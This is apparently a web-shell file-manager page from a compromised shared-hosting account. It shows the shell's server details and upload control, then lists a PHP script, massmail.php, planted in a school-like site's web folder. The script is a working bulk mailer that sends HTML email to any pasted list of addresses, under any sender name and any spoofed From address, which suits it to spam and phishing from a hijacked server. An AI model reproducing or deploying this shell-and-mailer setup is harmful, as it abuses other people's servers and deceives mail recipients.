HEX
Server: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: iestorre (46869)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/iestorre/alumnos/htdocs/massmail.php
<?php
// Forcer l'affichage immédiat
@ini_set('output_buffering', 'off');
@ini_set('zlib.output_compression', false);
@ini_set('implicit_flush', true);
ob_implicit_flush(true);
while (ob_get_level()) {
    ob_end_flush();
}

function send_mail($to, $subject, $htmlMessage, $fromName, $fromEmail) {
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=UTF-8\r\n";
    $headers .= "From: $fromName <$fromEmail>\r\n";
    $headers .= "Reply-To: $fromEmail\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    return mail($to, $subject, $htmlMessage, $headers);
}

$fromName = $fromEmail = $subject = $message = $recipients = "";
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Envoi d'e-mails en masse</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 30px; }
        textarea, input[type="text"], input[type="email"] { width: 100%; padding: 8px; margin-bottom: 15px; }
        input[type="submit"] { padding: 10px 20px; font-size: 16px; }
        label { font-weight: bold; }
        #results { white-space: pre-wrap; font-family: monospace; background: #f8f8f8; padding: 10px; border-radius: 5px; margin-top: 20px; }
    </style>
</head>
<body>
    <h2>📹 Formulaire d'envoi d'e-mails en masse</h2>
    <form method="POST">
        <label>Nom de l'expéditeur :</label>
        <input type="text" name="from_name" required value="<?= isset($_POST['from_name']) ? htmlspecialchars($_POST['from_name']) : '' ?>">

        <label>Email de l'expéditeur :</label>
        <input type="email" name="from_email" required value="<?= isset($_POST['from_email']) ? htmlspecialchars($_POST['from_email']) : '' ?>">

        <label>Sujet :</label>
        <input type="text" name="subject" required value="<?= isset($_POST['subject']) ? htmlspecialchars($_POST['subject']) : '' ?>">

        <label>Message HTML :</label>
        <textarea name="message" rows="10" required><?= isset($_POST['message']) ? htmlspecialchars($_POST['message']) : '' ?></textarea>

        <label>Liste d'e-mails (un par ligne) :</label>
        <textarea name="recipients" rows="10" required><?= isset($_POST['recipients']) ? htmlspecialchars($_POST['recipients']) : '' ?></textarea>

        <input type="submit" value="Envoyer">
    </form>

    <div id="results">
        <?php
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $fromName = trim($_POST['from_name']);
            $fromEmail = trim($_POST['from_email']);
            $subject = trim($_POST['subject']);
            $message = trim($_POST['message']);
            $recipients = trim($_POST['recipients']);

            $emails = explode("\n", $recipients);

            echo "<h3>Résultats en direct :</h3>";
            foreach ($emails as $email) {
                $email = trim($email);
                if (empty($email)) continue;

                if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
                    $status = send_mail($email, $subject, $message, $fromName, $fromEmail)
                        ? "✅ $email : OK"
                        : "❌ $email : ERREUR";
                } else {
                    $status = "❌ $email : Email invalide";
                }

                echo $status . "<br>";
                echo str_pad('', 4096) . "\n"; // astuce pour forcer le flush
                flush();
                ob_flush();
                usleep(100000); // pause douce
            }
            echo "<p>✅ Envoi terminĂ©.</p>";
        }
        ?>
    </div>
</body>
</html>